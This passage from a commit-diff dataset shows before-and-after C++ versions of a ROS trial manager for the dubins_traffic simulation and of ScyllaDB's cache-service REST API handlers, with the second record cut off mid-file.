*prev_endptr = endptr;\n    errno = 0;\n    range(1) = strtol( prev_endptr, &endptr, 10 );\n    if (errno || endptr == prev_endptr) {\n        std::cerr << \"dubins_traffic_maestro: Malformed range string in \\\"\"\n                  << param_name << \"\\\"\" << std::endl;\n        return false;\n    }\n\n    return true;\n}\n\nMaestro::Maestro( ros::NodeHandle &nh_, Problem &problem_ )\n    : nh(nh_), problem(problem_), gazebo_paused( true ), mmode(resetting)\n{\n    problemJSONpub = nh.advertise<integrator_chains_msgs::ProblemInstanceJSON>( \"probleminstance_JSON\", 1, true );\n    mode_srv = nh.advertiseService( \"mode\", &Maestro::mode_request, this );\n    set_model_state = nh.advertise<gazebo_msgs::ModelState>( \"\/gazebo\/set_model_state\", 1, false );\n}\n\nbool Maestro::mode_request( dubins_traffic_msgs::MMode::Request &req,\n                            dubins_traffic_msgs::MMode::Response &res )\n{\n    switch (req.mode) {\n    case dubins_traffic_msgs::MMode::Request::READY:\n        if (!gazebo_paused) {\n            gazebo_toggle = nh.serviceClient<std_srvs::Empty>( \"\/gazebo\/pause_physics\" );\n            std_srvs::Empty empty;\n            if (gazebo_toggle.call( empty ))\n                gazebo_paused = true;\n        }\n        if (mmode == ready && gazebo_paused) {\n            res.result = true;\n        } else {\n            res.result = false;\n        }\n        break;\n\n    case dubins_traffic_msgs::MMode::Request::START:\n        if (gazebo_paused) {\n            gazebo_toggle = nh.serviceClient<std_srvs::Empty>( \"\/gazebo\/unpause_physics\" );\n            std_srvs::Empty empty;\n            if (gazebo_toggle.call( empty ))\n                gazebo_paused = false;\n        }\n        if (mmode == ready && !gazebo_paused) {\n            mmode = waiting;\n            res.result = true;\n        } else {\n            res.result = false;\n        }\n        break;\n\n    case dubins_traffic_msgs::MMode::Request::RESET:\n        mmode = resetting;\n        ROS_INFO( \"dubins_traffic_maestro: Stopping current trial and generating a new instance...\" );\n        res.result = true;\n        break;\n\n    default:\n        return false;\n    }\n\n    return true;\n}\n\nvoid Maestro::perform_trial()\n{\n    Eigen::Vector2i duration_bounds;\n    if (!parse_range_str( \"duration_bounds\", duration_bounds )) {\n        duration_bounds << 30, 90;\n    }\n    ROS_INFO( \"dubins_traffic_maestro: Using [%d, %d] as range of integers for sampling \"\n              \"the trial duration.\",\n              duration_bounds(0), duration_bounds(1) );\n\n    int nominal_duration = duration_bounds(0);\n    if (duration_bounds(0) != duration_bounds(1))\n        nominal_duration += std::rand() % (1+duration_bounds(1)-duration_bounds(0));\n\n    ros::Duration trial_duration;\n\n    mmode = ready;\n    while (mmode == ready) {\n        if (!ros::ok())\n            return;\n        ros::spinOnce();\n    }\n    assert( mmode == waiting );\n\n    integrator_chains_msgs::ProblemInstanceJSON probinstance_msg;\n    probinstance_msg.stamp = ros::Time::now();\n    probinstance_msg.problemjson = problem.dumpJSON();\n    problemJSONpub.publish( probinstance_msg );\n    ros::Time startt( probinstance_msg.stamp.sec,\n                      probinstance_msg.stamp.nsec );\n    ros::spinOnce();\n\n    ros::Rate polling_rate( 1000 );\n    while (ros::ok() && mmode != resetting && (trial_duration = ros::Time::now() - startt).toSec() < nominal_duration) {\n        if (mmode == waiting) {\n            mmode = running;\n        }\n        ros::spinOnce();\n        polling_rate.sleep();\n    }\n    mmode = resetting;\n\n    \/\/ Handle special cases of trial termination:\n    if (ros::ok() && trial_duration.toSec() >= nominal_duration) {\n        \/\/ The trial end because the nominal (hidden) duration was reached\n        ROS_INFO( \"dubins_traffic_maestro: Trial ended after %f s (threshold is %d s).\",\n                  trial_duration.toSec(), nominal_duration );\n    }\n}\n\nvoid Maestro::main()\n{\n    int number_trials = 0;\n    bool counting_trials = nh.getParam( \"\/number_trials\", number_trials );\n    if (counting_trials)\n        ROS_INFO( \"dubins_traffic_maestro: Initiated with request for %d trials.\",\n                  number_trials );\n    int trial_counter = 0;\n    while ((!counting_trials || trial_counter < number_trials)\n           && ros::ok()) {\n        perform_trial();\n        if (counting_trials)\n            trial_counter++;\n    }\n\n    if (counting_trials && ros::ok()) {\n        ROS_INFO( \"dubins_traffic_maestro: Completed %d trials.\", trial_counter );\n    }\n}\n\n\nint main( int argc, char **argv )\n{\n    ros::init( argc, argv, \"dubins_traffic_maestro\" );\n    ros::NodeHandle nh( \"~\" );\n\n    std::string rndjson;\n    while (!nh.getParam( \"\/dubins_traffic\/rnd\", rndjson )) {\n        ROS_INFO( \"dubins_traffic_maestro: RND JSON string not present; will try again soon...\" );\n        sleep( 1 );\n        if (!ros::ok())\n            return 0;\n    }\n    RoadNetwork rnd( rndjson );\n    Problem problem( rnd );\n\n    Maestro maestro( nh, problem );\n    maestro.main();\n    nh.shutdown();\n\n    return 0;\n}\n<commit_msg>dubins_traffic maestro uses new Problem::random()<commit_after>\/* maestro.cpp - management of multiple trials for dubins_traffic\n *\n * SCL; 2016\n *\/\n\n#include <ros\/ros.h>\n#include \"std_srvs\/Empty.h\"\n#include \"gazebo_msgs\/ModelState.h\"\n#include \"geometry_msgs\/Pose.h\"\n#include \"geometry_msgs\/Twist.h\"\n\n#include <Eigen\/Dense>\n\n#include \"integrator_chains_msgs\/ProblemInstanceJSON.h\"\n#include \"dubins_traffic_msgs\/MMode.h\"\n#include \"roadnet.hpp\"\n#include \"problem.hpp\"\n\n\nusing namespace dubins_traffic;\n\n\nclass Maestro {\npublic:\n    Maestro( ros::NodeHandle &nh_, const RoadNetwork rnd_ );\n\n    bool mode_request( dubins_traffic_msgs::MMode::Request &req,\n                       dubins_traffic_msgs::MMode::Response &res );\n\n    void perform_trial();\n    void main();\n\nprivate:\n    ros::NodeHandle &nh;\n    RoadNetwork rnd;\n    Problem probinstance;\n    ros::Publisher problemJSONpub;\n\n    ros::Publisher set_model_state;\n    ros::ServiceClient gazebo_toggle;\n    bool gazebo_paused;\n\n    ros::ServiceServer mode_srv;\n    enum MMode { ready, waiting, running, resetting };\n    MMode mmode;\n\n    \/* (copied from domains\/integrator_chains\/dynamaestro\/src\/main.cpp to avoid dependency.) *\/\n    bool parse_range_str( const std::string param_name, Eigen::Vector2i &range );\n};\n\nbool Maestro::parse_range_str( const std::string param_name, Eigen::Vector2i &range )\n{\n    std::string range_str;\n    if (!nh.getParam( param_name, range_str ))\n        return false;\n\n    char *endptr;\n    errno = 0;\n    range(0) = strtol( range_str.data(), &endptr, 10 );\n    if (errno || endptr == range_str.data()) {\n        std::cerr << \"dubins_traffic_maestro: Malformed range string in \\\"\"\n                  << param_name << \"\\\"\" << std::endl;\n        return false;\n    }\n    char *prev_endptr = endptr;\n    errno = 0;\n    range(1) = strtol( prev_endptr, &endptr, 10 );\n    if (errno || endptr == prev_endptr) {\n        std::cerr << \"dubins_traffic_maestro: Malformed range string in \\\"\"\n                  << param_name << \"\\\"\" << std::endl;\n        return false;\n    }\n\n    return true;\n}\n\nMaestro::Maestro( ros::NodeHandle &nh_, const RoadNetwork rnd_ )\n    : nh(nh_), rnd(rnd_), probinstance( rnd_ ), gazebo_paused( true ), mmode(resetting)\n{\n    problemJSONpub = nh.advertise<integrator_chains_msgs::ProblemInstanceJSON>( \"probleminstance_JSON\", 1, true );\n    mode_srv = nh.advertiseService( \"mode\", &Maestro::mode_request, this );\n    set_model_state = nh.advertise<gazebo_msgs::ModelState>( \"\/gazebo\/set_model_state\", 1, false );\n}\n\nbool Maestro::mode_request( dubins_traffic_msgs::MMode::Request &req,\n                            dubins_traffic_msgs::MMode::Response &res )\n{\n    switch (req.mode) {\n    case dubins_traffic_msgs::MMode::Request::READY:\n        if (!gazebo_paused) {\n            gazebo_toggle = nh.serviceClient<std_srvs::Empty>( \"\/gazebo\/pause_physics\" );\n            std_srvs::Empty empty;\n            if (gazebo_toggle.call( empty ))\n                gazebo_paused = true;\n        }\n        if (mmode == ready && gazebo_paused) {\n            res.result = true;\n        } else {\n            res.result = false;\n        }\n        break;\n\n    case dubins_traffic_msgs::MMode::Request::START:\n        if (gazebo_paused) {\n            gazebo_toggle = nh.serviceClient<std_srvs::Empty>( \"\/gazebo\/unpause_physics\" );\n            std_srvs::Empty empty;\n            if (gazebo_toggle.call( empty ))\n                gazebo_paused = false;\n        }\n        if (mmode == ready && !gazebo_paused) {\n            mmode = waiting;\n            res.result = true;\n        } else {\n            res.result = false;\n        }\n        break;\n\n    case dubins_traffic_msgs::MMode::Request::RESET:\n        mmode = resetting;\n        ROS_INFO( \"dubins_traffic_maestro: Stopping current trial and generating a new instance...\" );\n        res.result = true;\n        break;\n\n    default:\n        return false;\n    }\n\n    return true;\n}\n\nvoid Maestro::perform_trial()\n{\n    Eigen::Vector2i number_goals_bounds;\n    if (!parse_range_str( \"number_goals_bounds\", number_goals_bounds )) {\n        number_goals_bounds << 1, 4;\n    }\n    ROS_INFO( \"dubins_traffic_maestro: Using [%d, %d] as sampling range \"\n              \"for number of goal polytopes.\",\n              number_goals_bounds(0), number_goals_bounds(1) );\n\n    Eigen::Vector2i duration_bounds;\n    if (!parse_range_str( \"duration_bounds\", duration_bounds )) {\n        duration_bounds << 30, 90;\n    }\n    ROS_INFO( \"dubins_traffic_maestro: Using [%d, %d] as range of integers for sampling \"\n              \"the trial duration.\",\n              duration_bounds(0), duration_bounds(1) );\n\n    int nominal_duration = duration_bounds(0);\n    if (duration_bounds(0) != duration_bounds(1))\n        nominal_duration += std::rand() % (1+duration_bounds(1)-duration_bounds(0));\n\n    probinstance = Problem::random( rnd, number_goals_bounds );\n\n    ros::Duration trial_duration;\n\n    mmode = ready;\n    while (mmode == ready) {\n        if (!ros::ok())\n            return;\n        ros::spinOnce();\n    }\n    assert( mmode == waiting );\n\n    integrator_chains_msgs::ProblemInstanceJSON probinstance_msg;\n    probinstance_msg.stamp = ros::Time::now();\n    probinstance_msg.problemjson = probinstance.dumpJSON();\n    problemJSONpub.publish( probinstance_msg );\n    ros::Time startt( probinstance_msg.stamp.sec,\n                      probinstance_msg.stamp.nsec );\n    ros::spinOnce();\n\n    ros::Rate polling_rate( 1000 );\n    while (ros::ok() && mmode != resetting && (trial_duration = ros::Time::now() - startt).toSec() < nominal_duration) {\n        if (mmode == waiting) {\n            mmode = running;\n        }\n        ros::spinOnce();\n        polling_rate.sleep();\n    }\n    mmode = resetting;\n\n    \/\/ Handle special cases of trial termination:\n    if (ros::ok() && trial_duration.toSec() >= nominal_duration) {\n        \/\/ The trial end because the nominal (hidden) duration was reached\n        ROS_INFO( \"dubins_traffic_maestro: Trial ended after %f s (threshold is %d s).\",\n                  trial_duration.toSec(), nominal_duration );\n    }\n}\n\nvoid Maestro::main()\n{\n    int number_trials = 0;\n    bool counting_trials = nh.getParam( \"\/number_trials\", number_trials );\n    if (counting_trials)\n        ROS_INFO( \"dubins_traffic_maestro: Initiated with request for %d trials.\",\n                  number_trials );\n    int trial_counter = 0;\n    while ((!counting_trials || trial_counter < number_trials)\n           && ros::ok()) {\n        perform_trial();\n        if (counting_trials)\n            trial_counter++;\n    }\n\n    if (counting_trials && ros::ok()) {\n        ROS_INFO( \"dubins_traffic_maestro: Completed %d trials.\", trial_counter );\n    }\n}\n\n\nint main( int argc, char **argv )\n{\n    ros::init( argc, argv, \"dubins_traffic_maestro\" );\n    ros::NodeHandle nh( \"~\" );\n\n    std::string rndjson;\n    while (!nh.getParam( \"\/dubins_traffic\/rnd\", rndjson )) {\n        ROS_INFO( \"dubins_traffic_maestro: RND JSON string not present; will try again soon...\" );\n        sleep( 1 );\n        if (!ros::ok())\n            return 0;\n    }\n    RoadNetwork rnd( rndjson );\n    Maestro maestro( nh, rnd );\n\n    maestro.main();\n    nh.shutdown();\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"cache_service.hh\"\n#include \"api\/api-doc\/cache_service.json.hh\"\n#include \"column_family.hh\"\n\nnamespace api {\nusing namespace json;\nnamespace cs = httpd::cache_service_json;\n\nvoid set_cache_service(http_context& ctx, routes& r) {\n    cs::get_row_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ We never save the cache\n        \/\/ Origin uses 0 for never\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_row_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto period = req->get_query_param(\"period\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_key_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ We never save the cache\n        \/\/ Origin uses 0 for never\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_key_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto period = req->get_query_param(\"period\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_counter_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ We never save the cache\n        \/\/ Origin uses 0 for never\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_counter_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto ccspis = req->get_query_param(\"ccspis\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_row_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_row_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto rckts = req->get_query_param(\"rckts\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_key_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_key_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto kckts = req->get_query_param(\"kckts\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_counter_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_counter_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto cckts = req->get_query_param(\"cckts\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::invalidate_key_cache.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::invalidate_counter_cache.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::set_row_cache_capacity_in_mb.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto capacity = req->get_query_param(\"capacity\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::set_key_cache_capacity_in_mb.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto period = req->get_query_param(\"period\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::set_counter_cache_capacity_in_mb.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto capacity = req->get_query_param(\"capacity\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::save_caches.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_key_capacity.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for capacity is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_key_hits.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for hits is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_key_requests.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for request is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_key_hit_rate.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for rate is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_key_hits_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ See above\n        return make_ready_future<json::json_return_type>(meter_to_json(utils::rate_moving_average()));\n    });\n\n    cs::get_key_requests_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ See above\n        return make_ready_future<json::json_return_type>(meter_to_json(utils::rate_moving_average()));\n    });\n\n    cs::get_key_size.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for size is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_key_entries.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for key entries is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_row_capacity.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf(ctx, uint64_t(0), [](const column_family& cf) {\n            return cf.get_row_cache().get_cache_tracker().region().occupancy().used_space();\n        }, std::plus<uint64_t>());\n    });\n\n    cs::get_row_hits.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf(ctx, uint64_t(0), [](const column_family& cf) {\n            return cf.get_row_cache().stats().hits.count();\n        }, std::plus<uint64_t>());\n    });\n\n    cs::get_row_requests.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf(ctx, uint64_t(0), [](const column_family& cf) {\n            return cf.get_row_cache().stats().hits.count() + cf.get_row_cache().stats().misses.count();\n        }, std::plus<uint64_t>());\n    });\n\n    cs::get_row_hit_rate.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf(ctx, ratio_holder(), [](const column_family& cf) {\n            return ratio_holder(cf.get_row_cache().stats().hits.count() + cf.get_row_cache().stats().misses.count(),\n                    cf.get_row_cache().stats().hits.count());\n        }, std::plus<ratio_holder>());\n    });\n\n    cs::get_row_hits_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf_raw(ctx, utils::rate_moving_average(), [](const column_family& cf) {\n            return cf.get_row_cache().stats().hits.rate();\n        }, std::plus<utils::rate_moving_average>()).then([](const utils::rate_moving_average& m) {\n            return make_ready_future<json::json_return_type>(meter_to_json(m));\n        });\n    });\n\n    cs::get_row_requests_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf_raw(ctx, utils::rate_moving_average(), [](const column_family& cf) {\n            return cf.get_row_cache().stats().hits.rate() + cf.get_row_cache().stats().misses.rate();\n        }, std::plus<utils::rate_moving_average>()).then([](const utils::rate_moving_average& m) {\n            return make_ready_future<json::json_return_type>(meter_to_json(m));\n        });\n    });\n\n    cs::get_row_size.set(r, [&ctx] (std::unique_ptr<request> req) {\n        \/\/ In origin row size is the weighted size.\n        \/\/ We currently do not support weights, so we use num entries instead\n        return map_reduce_cf(ctx, 0, [](const column_family& cf) {\n            return cf.get_row_cache().partitions();\n        }, std::plus<uint64_t>());\n    });\n\n    cs::get_row_entries.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf(ctx, 0, [](const column_family& cf) {\n            return cf.get_row_cache().partitions();\n        }, std::plus<uint64_t>());\n    });\n\n    cs::get_counter_capacity.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for rate is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_counter_hits.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for hits is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_counter_requests.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for hits is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_counter_hit_rate.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for rate is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_counter_hits_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ See above\n        return make_ready_future<json::json_return_type>(meter_to_json(utils::rate_moving_average()));\n    });\n\n    cs::get_counter_requests_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ See above\n        return make_ready_future<json::json_return_type>(meter_to_json(utils::rate_moving_average()));\n    });\n\n    cs::get_counter_size.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for size is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_counter_entries.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support counter cache,\n        \/\/ so currently returning a 0 for entries is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n}\n\n}\n\n<commit_msg>api\/cache_service: Fix get_row_capacity calculation<commit_after>\/*\n * Copyright (C) 2015 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"cache_service.hh\"\n#include \"api\/api-doc\/cache_service.json.hh\"\n#include \"column_family.hh\"\n\nnamespace api {\nusing namespace json;\nnamespace cs = httpd::cache_service_json;\n\nvoid set_cache_service(http_context& ctx, routes& r) {\n    cs::get_row_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ We never save the cache\n        \/\/ Origin uses 0 for never\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_row_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto period = req->get_query_param(\"period\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_key_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ We never save the cache\n        \/\/ Origin uses 0 for never\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_key_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto period = req->get_query_param(\"period\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_counter_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ We never save the cache\n        \/\/ Origin uses 0 for never\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_counter_cache_save_period_in_seconds.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto ccspis = req->get_query_param(\"ccspis\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_row_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_row_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto rckts = req->get_query_param(\"rckts\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_key_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_key_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto kckts = req->get_query_param(\"kckts\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_counter_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::set_counter_cache_keys_to_save.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto cckts = req->get_query_param(\"cckts\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::invalidate_key_cache.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::invalidate_counter_cache.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::set_row_cache_capacity_in_mb.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto capacity = req->get_query_param(\"capacity\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::set_key_cache_capacity_in_mb.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto period = req->get_query_param(\"period\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::set_counter_cache_capacity_in_mb.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        auto capacity = req->get_query_param(\"capacity\");\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::save_caches.set(r, [](std::unique_ptr<request> req) {\n        \/\/ TBD\n        unimplemented();\n        return make_ready_future<json::json_return_type>(json_void());\n    });\n\n    cs::get_key_capacity.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for capacity is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_key_hits.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for hits is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_key_requests.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for request is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_key_hit_rate.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for rate is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_key_hits_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ See above\n        return make_ready_future<json::json_return_type>(meter_to_json(utils::rate_moving_average()));\n    });\n\n    cs::get_key_requests_moving_avrage.set(r, [&ctx] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ See above\n        return make_ready_future<json::json_return_type>(meter_to_json(utils::rate_moving_average()));\n    });\n\n    cs::get_key_size.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for size is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_key_entries.set(r, [] (std::unique_ptr<request> req) {\n        \/\/ TBD\n        \/\/ FIXME\n        \/\/ we don't support keys cache,\n        \/\/ so currently returning a 0 for key entries is ok\n        return make_ready_future<json::json_return_type>(0);\n    });\n\n    cs::get_row_capacity.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return ctx.db.map_reduce0([](database& db) -> uint64_t {\n            return db.row_cache_tracker().region().occupancy().used_space();\n        }, uint64_t(0), std::plus<uint64_t>()).then([](const int64_t& res) {\n            return make_ready_future<json::json_return_type>(res);\n        });\n    });\n\n    cs::get_row_hits.set(r, [&ctx] (std::unique_ptr<request> req) {\n        return map_reduce_cf(ctx, uint64_t(0), [](const column_family& cf) {\n            return cf.get_row_cache().stats().hits.count();\n        }, std::plus<uint64_t>());\n    });\n\n    